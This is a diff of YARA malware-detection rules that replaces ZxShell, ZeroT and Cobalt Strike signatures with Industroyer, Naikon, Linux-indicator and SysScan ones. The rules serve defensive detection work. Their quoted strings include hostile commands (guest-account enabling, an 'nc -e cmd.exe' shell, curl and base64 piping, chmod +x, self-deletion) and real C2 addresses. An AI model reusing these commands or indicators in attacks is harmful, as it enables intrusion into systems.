+		hash1 = "6d707e647427f1ff4a7a9420188a8831f433ad8c5325dc8b8cc6fc5e7f1f6f47"
 
 	strings:
-		$x1 = "CMD.EXE /C NET USER GUEST /ACTIVE:yes && NET USER GUEST ++++++" ascii
-		$x2 = "system\\cURRENTcONTROLSET\\sERVICES\\tERMSERVICE" fullword ascii
-		$x3 = "\\secivreS\\teSlortnoCtnerruC\\METSYS" ascii
-		$x4 = "system\\cURRENTCONTROLSET\\cONTROL\\tERMINAL sERVER" fullword ascii
-		$x5 = "sOFTWARE\\mICROSOFT\\iNTERNET eXPLORER\\mAIN" fullword ascii
-		$x6 = "eNABLEaDMINtsREMOTE" fullword ascii
+		$x1 = "sc create %ls type= own start= auto error= ignore binpath= \"%ls\" displayname= \"%ls\"" fullword wide
+		$x2 = "10.15.1.69:3128" fullword wide
+		$s1 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)" fullword wide
+		$s2 = "/c sc stop %s" fullword wide
+		$s3 = "sc start %ls" fullword wide
+		$s4 = "93.115.27.57" fullword wide
+		$s5 = "5.39.218.152" fullword wide
+		$s6 = "tierexe" fullword wide
+		$s7 = "comsys" fullword wide
+		$s8 = "195.16.88.6" fullword wide
+		$s9 = "TieringService" fullword wide
+		$a1 = "TEMP\x00\x00DEF" fullword wide
+		$a2 = "TEMP\x00\x00DEF-C" fullword wide
+		$a3 = "TEMP\x00\x00DEF-WS" fullword wide
+		$a4 = "TEMP\x00\x00DEF-EP" fullword wide
+		$a5 = "TEMP\x00\x00DC-2-TEMP" fullword wide
+		$a6 = "TEMP\x00\x00DC-2" fullword wide
+		$a7 = "TEMP\x00\x00CES-McA-TEMP" fullword wide
+		$a8 = "TEMP\x00\x00SRV_WSUS" fullword wide
+		$a9 = "TEMP\x00\x00SRV_DC-2" fullword wide
+		$a10 = "TEMP\x00\x00SCE-WSUS01" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and 1 of them )
+		( uint16(0)==0x5a4d and filesize <300KB and 1 of ($x*) or 3 of them or 1 of ($a*)) or (5 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Zxshell_Related_Malware_CN_Group_Jul17_2 : FILE
+rule SIGNATURE_BASE_Industroyer_Portscan_3 : FILE
 {
 	meta:
-		description = "Detects a ZxShell related sample from a CN threat group"
+		description = "Detects Industroyer related custom port scaner"
 		author = "Florian Roth (Nextron Systems)"
-		id = "37c1f26b-4b4f-510e-a7b7-b2afb17d6e71"
-		date = "2017-07-08"
+		id = "f6675466-d469-562b-9fb6-7b72bce8a726"
+		date = "2017-06-13"
 		modified = "2023-12-05"
-		reference = "https://blogs.rsa.com/cat-phishing/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_zxshell.yar#L32-L58"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d7c9f2af3842d60cf4b0b64bdb687a32014b449b42b101394e0424c12fc2808e"
+		reference = "https://goo.gl/x81cSy"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_industroyer.yar#L79-L100"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "539a420989c178b3fa26e313d23e9f9c6804aa6dbd2d94f463ae924d46ac2851"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "204273675526649b7243ee48efbb7e2bc05239f7f9015fbc4fb65f0ada64759e"
+		hash1 = "893e4cca7fe58191d2f6722b383b5e8009d3885b5913dcd2e3577e5a763cdb3f"
 
 	strings:
-		$u1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
-		$u2 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
-		$u3 = "User-Agent:Mozilla/5.0 (X11; U; Linux i686; en-US; re:1.4.0) Gecko/20080808 Firefox/%d.0" fullword ascii
-		$u4 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
-		$x1 = "\\\\%s\\admin$\\g1fd.exe" fullword ascii
-		$x2 = "C:\\g1fd.exe" fullword ascii
-		$x3 = "\\\\%s\\C$\\NewArean.exe" fullword ascii
-		$s0 = "at \\\\%s %d:%d %s" fullword ascii
-		$s1 = "%c%c%c%c%ccn.exe" fullword ascii
-		$s2 = "hra%u.dll" fullword ascii
-		$s3 = "Referer: http://%s:80/http://%s" fullword ascii
-		$s5 = "Accept-Language: zh-cn" fullword ascii
+		$s1 = "!ZBfamily" fullword ascii
+		$s2 = ":g/outddomo;" fullword ascii
+		$s3 = "GHIJKLMNOTST" fullword ascii
+		$d1 = "Error params Arguments!!!" fullword wide
+		$d2 = "^(.+?.exe).*\\s+-ip\\s*=\\s*(.+)\\s+-ports\\s*=\\s*(.+)$" fullword wide
+		$d3 = "Exhample:App.exe -ip= 127.0.0.1-100," fullword wide
+		$d4 = "Error IP Range %ls - %ls" fullword wide
+		$d5 = "Can't closesocket." fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 3 of them )
+		( uint16(0)==0x5a4d and filesize <500KB and all of ($s*) or 2 of ($d*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Zxshell_Related_Malware_CN_Group_Jul17_3 : FILE
+rule SIGNATURE_BASE_Industroyer_Portscan_3_Output
 {
 	meta:
-		description = "Detects a ZxShell related sample from a CN threat group"
+		description = "Detects Industroyer related custom port scaner output file"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1900b861-b4a2-50b5-a639-3eb442072139"
-		date = "2017-07-08"
+		id = "4469f056-674c-5a44-84a5-12a65b8586d5"
+		date = "2017-06-13"
 		modified = "2023-12-05"
-		reference = "https://blogs.rsa.com/cat-phishing/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_zxshell.yar#L60-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1d7dd59cf6ef24ce47431f9f3fbc980019880082b4e6162bae70b64abaa26db7"
+		reference = "https://goo.gl/x81cSy"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_industroyer.yar#L102-L115"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6a2fc7b66b1e93f523e08e12ba420d261bae198918bb09eac1a7cdecc04a6737"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2e5cf8c785dc081e5c2b43a4a785713c0ae032c5f86ccbc7abf5c109b8854ed7"
 
 	strings:
-		$s1 = "%s\\nt%s.dll" fullword ascii
-		$s2 = "RegQueryValueEx(Svchost\\netsvcs)" fullword ascii
+		$s1 = "WSA library load complite." fullword ascii
+		$s2 = "Connection refused" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and all of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Zxshell_Jul17 : FILE
+rule SIGNATURE_BASE_Industroyer_Malware_4 : FILE
 {
 	meta:
-		description = "Detects a ZxShell - CN threat group"
+		description = "Detects Industroyer related malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1b009b20-5a19-5cac-aaaf-ca61310eab9f"
-		date = "2017-07-08"
+		id = "f197d2a5-eecb-51ed-b991-7643efb3f749"
+		date = "2017-06-13"
 		modified = "2023-12-05"
-		reference = "https://blogs.rsa.com/cat-phishing/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_zxshell.yar#L76-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2c7467417ffc8b0ed3037ace9ce4183c9d4a90d1c087a420dd3c7a9c422621b1"
+		reference = "https://goo.gl/x81cSy"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_industroyer.yar#L117-L134"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cb850445eaf3e1a6c9a9d6c453ed0f6729a95a671a01ce8fbaddf15599e4f2ba"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16"
+		hash1 = "21c1fdd6cfd8ec3ffe3e922f944424b543643dbdab99fa731556f8805b0d5561"
 
 	strings:
-		$x1 = "zxplug -add" fullword ascii
-		$x2 = "getxxx c:\\xyz.dll" fullword ascii
-		$x3 = "downfile -d c:\\windows\\update.exe" fullword ascii
-		$x4 = "-fromurl http://x.x.x/x.dll" fullword ascii
-		$x5 = "ping 127.0.0.1 -n 7&cmd.exe /c net start %s" fullword ascii
-		$x6 = "ZXNC -e cmd.exe x.x.x.x" fullword ascii
-		$x7 = "(bind a cmdshell)" fullword ascii
-		$x8 = "ZXFtpServer 21 20 zx" fullword ascii
-		$x9 = "ZXHttpServer" fullword ascii
-		$x10 = "c:\\error.htm,.exe|c:\\a.exe,.zip|c:\\b.zip\"" fullword ascii
-		$x11 = "c:\\windows\\clipboardlog.txt" fullword ascii
-		$x12 = "AntiSniff -a wireshark.exe" fullword ascii
-		$x13 = "c:\\windows\\keylog.txt" fullword ascii
+		$s1 = "haslo.dat" fullword wide
+		$s2 = "defragsvc" fullword ascii
+		$a1 = { 00 2E 00 64 00 61 00 74 00 00 00 43 72 61 73 68 00 00 00 }
 
 	condition:
-		( filesize <10000KB and 1 of them ) or 3 of them
+		( uint16(0)==0x5a4d and filesize <200KB and all of ($s*) or $a1)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Zxshell_20171211_Chrsben : FILE
+rule SIGNATURE_BASE_Industroyer_Malware_5 : FILE
 {
 	meta:
-		description = "Detects ZxShell variant surfaced in Dec 17"
+		description = "Detects Industroyer related malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3bbfddb8-011a-52dd-b0c8-b35e6f740507"
-		date = "2017-12-11"
+		id = "52ce21a0-0c72-585c-a805-c5077a7445af"
+		date = "2017-06-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/snc85M"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_zxshell.yar#L115-L138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "361441404582b0eaca25954f7fe1a3a3b9fefd15cac78d61408bc50aeb78bb61"
+		reference = "https://goo.gl/x81cSy"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_industroyer.yar#L136-L158"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9dfd3cfc724f0dfe090b1bcbf03b9ebd0d01b3d781f833a8ca6ba1451a63d5ad"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "dd01e7a1c9b20d36ea2d961737780f2c0d56005c370e50247e38c5ca80dcaa4f"
+		hash1 = "7907dd95c1d36cf3dc842a1bd804f0db511a0f68f4b3d382c23a3c974a383cad"
 
 	strings:
-		$x1 = "ncProxyXll" fullword ascii
-		$s1 = "Uniscribe.dll" fullword ascii
-		$s2 = "GetModuleFileNameDll" fullword ascii
-		$s4 = "$Hangzhou Shunwang Technology Co.,Ltd0" fullword ascii
+		$x1 = "D2MultiCommService.exe" fullword ascii
+		$x2 = "Crash104.dll" fullword ascii
+		$x3 = "iec104.log" fullword ascii
+		$x4 = "IEC-104 client: ip=%s; port=%s; ASDU=%u " fullword ascii
+		$s1 = "Error while getaddrinfo executing: %d" fullword ascii
+		$s2 = "return info-Remote command" fullword ascii
+		$s3 = "Error killing process ..." fullword ascii
+		$s4 = "stop_comm_service_name" fullword ascii
+		$s5 = "*1* Data exchange: Send: %d (%s)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and (pe.imphash()=="de481441d675e9aca4f20bd8e16a5faa" or pe.exports("PerfectWorld") or pe.exports("ncProxyXll") or 1 of ($x*) or 2 of them )
+		( uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) or 4 of them )) or ( all of them )
 }
-rule SIGNATURE_BASE_Cobaltstrike_Resources_Beacon_Dll_V3_8_1
+rule SIGNATURE_BASE_MAL_Backdoor_Naikon_APT_Sample1 : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 3.8"
-		author = "gssincla@google.com"
-		id = "6c65cbf8-2c60-5315-b3b2-48dfcee75733"
-		date = "2022-11-18"
-		modified = "2023-12-05"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_gcti_cobaltstrike.yar#L1020-L1061"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "67b6557f614af118a4c409c992c0d9a0cc800025f77861ecf1f3bbc7c293d603"
-		logic_hash = "cde078a6ae7d0d835900e85498cf5ae20663ba8d5d3f912810e157261561e16a"
+		description = "Detects backdoors related to the Naikon APT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ba79285b-7c7f-5b19-837e-6696e50a2866"
+		date = "2015-05-14"
+		modified = "2023-01-06"
+		reference = "https://goo.gl/7vHyvh"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_naikon.yar#L2-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d5716c80cba8554eb79eecfb4aa3d99faf0435a1833ec5ef51f528146c758eba"
+		hash = "f5ab8e49c0778fa208baad660fe4fa40fc8a114f5f71614afbd6dcc09625cb96"
+		logic_hash = "e582fc3518dab2392a79909b5369c48656b6f280b915fad4befb0839ec7ce1bd"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$version_sig = { 48 57 8B F9 83 F8 4B 0F 87 5D 03 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
-		$xmrig_srcpath = "C:/Users/SKOL-NOTE/Desktop/Loader/script.go"
-		$c2_1 = "ns7.softline.top" xor
-		$c2_2 = "ns8.softline.top" xor
-		$c2_3 = "ns9.softline.top" xor
+		$x0 = "GET http://%s:%d/aspxabcdef.asp?%s HTTP/1.1" fullword ascii
+		$x1 = "POST http://%s:%d/aspxabcdefg.asp?%s HTTP/1.1" fullword ascii
+		$x2 = "greensky27.vicp.net" fullword ascii
+		$x3 = "\\tempvxd.vxd.dll" wide
+		$x5 = "otna.vicp.net" fullword ascii
+		$s1 = "User-Agent: webclient" fullword ascii
+		$s2 = "\\User.ini" ascii
+		$s3 = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/200" ascii
+		$s4 = "\\UserProfile.dll" wide
+		$s5 = "Connection:Keep-Alive: %d" fullword ascii
+		$s6 = "Referer: http://%s:%d/" ascii
+		$s7 = "%s %s %s %d %d %d " fullword ascii
+		$s8 = "%s--%s" fullword wide
+		$s9 = "Run File Success!" fullword wide
+		$s10 = "DRIVE_REMOTE" fullword wide
+		$s11 = "ProxyEnable" fullword wide
+		$s12 = "\\cmd.exe" wide
 
 	condition:
-		$version_sig and $decoder and (2 of ($c2_*) or $xmrig_srcpath)
+		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 7 of ($s*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_MAL_Nighthawk_Nov_2022_1 : NIGHTHAWK BEACON FILE
+rule SIGNATURE_BASE_SUSP_LNX_Linux_Malware_Indicators_Aug20_1 : FILE
 {
 	meta:
-		description = "Detect the Nighthawk dropped beacon"
-		author = "Arkbird_SOLG"
-		id = "a46d5034-e8e3-5c30-90d9-ea97b8384341"
-		date = "2022-11-22"
+		description = "Detects indicators often found in linux malware samples"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9a1093a6-0239-5d1c-aa30-1ca725941583"
+		date = "2020-08-03"
 		modified = "2023-12-05"
-		reference = "https://web.archive.org/web/20221125224850/https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_nighthawk_c2.yar#L32-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8dec7752ee6e1af87129ce7ac09130f94a20807c4f45ceb1fce434358ac727bf"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_lnx_malware_indicators.yar#L2-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fbe84c936709653480d469a07e284aea7ef68aedaaa4295073ce59d37eb6d791"
+		score = 65
 		quality = 85
-		tags = "NIGHTHAWK, BEACON, FILE"
-		hash1 = "0551ca07f05c2a8278229c1dc651a2b1273a39914857231b075733753cb2b988"
-		hash2 = "9a57919cc5c194e28acd62719487c563a8f0ef1205b65adbe535386e34e418b8"
-		hash3 = "f3bba2bfd4ed48b5426e36eba3b7613973226983a784d24d7a20fcf9df0de74e"
+		tags = "FILE"
 
 	strings:
-		$s1 = { 44 8b ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d c0 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d 20 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d 00 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d e0 e8 [2] ff ff 33 d2 e9 ee 04 00 00 48 8d 44 24 68 48 89 44 24 20 41 b9 01 00 00 00 45 33 c0 48 8d 95 a0 00 00 00 ff 15 [2] 09 00 85 c0 0f 85 74 04 00 00 48 89 7c 24 28 48 89 7c 24 20 45 33 c9 45 33 c0 48 8d 15 [2] 0a 00 48 8b 4c 24 68 ff 15 [2] 09 00 85 }
-		$s2 = { 4d 85 c0 0f 84 83 00 00 00 49 21 18 33 d2 44 8d 43 01 33 c9 ff 15 [2] 08 00 48 8b f0 48 85 c0 74 6a 44 8d 43 04 48 8b d5 48 8b c8 ff 15 [2] 08 00 48 8b e8 48 85 c0 74 49 48 8d 44 24 70 33 d2 44 8d 4b 24 48 89 44 24 20 4c 8d 44 24 30 48 8b cd ff 15 [2] 08 00 8b }
-		$s3 = { 48 85 c0 0f 84 [2] 00 00 4d 8b cc 49 83 7c 24 18 08 72 04 4d 8b 0c 24 4d 8b c5 49 83 7d 18 08 72 04 4d 8b 45 00 49 8b ?? 49 83 ?? 18 08 72 03 49 8b }
-		$s4 = { 44 8b 44 24 44 4c 89 [2-3] 89 95 00 02 00 00 2b c7 8b d7 49 03 d0 48 03 d1 4c 8d 8d 00 02 00 00 44 8b c0 49 8b cf ff 15 [2] 04 00 33 d2 85 c0 0f 84 [2] ff ff 03 bd 00 02 00 00 8b 44 24 40 3b f8 48 8b 4d ?? 4c 8b }
+		$s1 = "&& chmod +x" ascii
+		$s2 = "|base64 -" ascii
+		$s3 = " /tmp" ascii
+		$s4 = "|curl " ascii
+		$s5 = "whoami" ascii fullword
+		$fp1 = "WITHOUT ANY WARRANTY" ascii
+		$fp2 = "postinst" ascii fullword
+		$fp3 = "THIS SOFTWARE IS PROVIDED" ascii fullword
+		$fp4 = "Free Software Foundation" ascii fullword
 
 	condition:
-		uint16(0)==0x5A4D and filesize >60KB and all of ($s*)
+		filesize <400KB and 3 of ($s*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_PP_CN_APT_Zerot_1 : FILE
+rule SIGNATURE_BASE_SUSP_Gobfuscate_May21 : FILE
 {
 	meta:
-		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c16f3abb-ac7e-5d5f-b8d7-b105cff3886e"
-		date = "2017-02-03"
-		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_pp_zerot.yar#L11-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ad3018e6aa377b5032b04226ecb1e27b2cc7bc8294455ea51e426b5182ed7821"
-		score = 75
+		description = "Identifies binaries obfuscated with gobfuscate"
+		author = "James Quinn, Paul Hager (merged with new similar pattern)"
+		id = "ae518296-b1c3-568c-bae0-3e0a6f7600ba"
+		date = "2021-05-14"
+		modified = "2024-04-02"
+		reference = "https://github.com/unixpickle/gobfuscate"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_gobfuscate.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f71078dd6354a482a2ead2f0d25f4172cd40e62440a70c2da7916b68f26909a3"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "09061c603a32ac99b664f7434febfc8c1f9fd7b6469be289bb130a635a6c47c0"
 
 	strings:
-		$s1 = "suprise.exe" fullword ascii
+		$s1 = { 0F B6 ?? ?? ?? 0F B6 ?? ?? ?? 31 D? [0-1] 88 ?? ?? ?? 48 FF C? 48 83 F? ?? 7C E6 48 }
+		$s2 = { 0F B6 ?? ?? ?? 31 DA 88 ?? ?? ?? 40 83 ?? ?? 7D 09 0F B6 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		filesize <50MB and any of them
 }
-rule SIGNATURE_BASE_PP_CN_APT_Zerot_2 : FILE
+rule SIGNATURE_BASE_Xdedic_Sysscan_Unpacked : CRIMEWARE FILE
 {
 	meta:
-		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8433216e-1189-568c-bd18-051fb1fec215"
-		date = "2017-02-03"
+		description = "Detects SysScan APT tool"
+		author = " Kaspersky Lab"
+		id = "4f5d37b3-e3aa-51ec-b36e-b494c8abe227"
+		date = "2016-03-14"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_pp_zerot.yar#L26-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e31ade3690938fe0999423fbe446d9426e14abd01ebbada4eed8bddb1e2c9ea6"
+		reference = "https://securelist.com/blog/research/75027/xdedic-the-shady-world-of-hacked-servers-for-sale/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sysscan.yar#L1-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "df0834e89c512721547001c910c1461f028a46e954dd51017d4e8bde7893d04a"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "74eb592ef7f5967b14794acdc916686e061a43169f06e5be4dca70811b9815df"
+		tags = "CRIMEWARE, FILE"
+		maltype = "crimeware"
+		type = "crimeware"
+		filetype = "Win32 EXE"
+		version = "1.0"
+		hash1 = "fac495be1c71012682ebb27092060b43"
+		hash2 = "e8cc69231e209db7968397e8a244d104"
+		hash3 = "a53847a51561a7e76fd034043b9aa36d"
+		hash4 = "e8691fa5872c528cd8e72b82e7880e98"
+		hash5 = "F661b50d45400e7052a2427919e2f777"
 
 	strings:
-		$s1 = "NO2-2016101902.exe" fullword ascii
+		$a1 = "/c ping -n 2 127.0.0.1 & del \"SysScan.exe\"" ascii wide
+		$a2 = "SysScan DEBUG Mode!!!" ascii wide
+		$a3 = "This rechecking? (set 0/1 or press enter key)" ascii wide
+		$a4 = "http://37.49.224.144:8189/manual_result" ascii wide
+		$b1 = "Checker end work!" ascii wide
+		$b2 = "Trying send result..." ascii wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		uint16(0)==0x5A4D and filesize <5000000 and ( any of ($a*) or all of ($b*))
 }
-rule SIGNATURE_BASE_PP_CN_APT_Zerot_3 : FILE
+rule SIGNATURE_BASE_Xdedic_Packed_Syscan : FILE
 {
 	meta:
-		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
-		author = "Florian Roth (Nextron Systems)"
-		id = "99aa29cf-d962-5a3d-bd28-6486c40822bb"
-		date = "2017-02-03"
+		description = "No description has been set in the source file - Signature Base"
+		author = "Kaspersky Lab - modified by Florian Roth"
+		id = "da8e59f3-53f9-504b-afff-9caab798db6c"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_pp_zerot.yar#L41-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6920febf177667610e3edb8ba88ec137d085a867c1d6a570d4785fcc9cc62d49"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sysscan.yar#L29-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "04eb5b056e892b2c2cf87e3770847226cccaceb1c743f3b9f8ac548026747ccf"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ee2e2937128dac91a11e9bf55babc1a8387eb16cebe676142c885b2fc18669b2"
+		company = "Kaspersky Lab"
 
 	strings:
-		$s1 = "/svchost.exe" fullword ascii
-		$s2 = "RasTls.dll" fullword ascii
-		$s3 = "20160620.htm" fullword ascii
-		$s4 = "* $l&$" fullword ascii
-		$s5 = "dfjhmh" fullword ascii
-		$s6 = "/20160620.htm" fullword ascii
+		$a1 = "SysScan.exe" nocase ascii wide
+		$a2 = "1.3.4." wide
 
 	condition:
-		( uint16(0)==0x5449 and filesize <1000KB and 3 of them ) or ( all of them )
+		uint16(0)==0x5A4D and filesize >500KB and filesize <1500KB and all of them
 }
-rule SIGNATURE_BASE_PP_CN_APT_Zerot_4 : FILE
+rule SIGNATURE_BASE_Payload_Exe2Hex
 {
 	meta:
-		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
+		description = "Detects payload generated by exe2hex"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b21961ee-d346-51d3-bacd-02554240162d"
-		date = "2017-02-03"
+		id = "c29e4937-cc6a-5265-a3b9-1018228dc956"
+		date = "2016-01-15"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_pp_zerot.yar#L61-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8011497e7d061a9ebde06667e47b5cd9469a433e0be1401d70637e7ace8e8155"
-		score = 75
+		reference = "https://github.com/g0tmi1k/exe2hex"
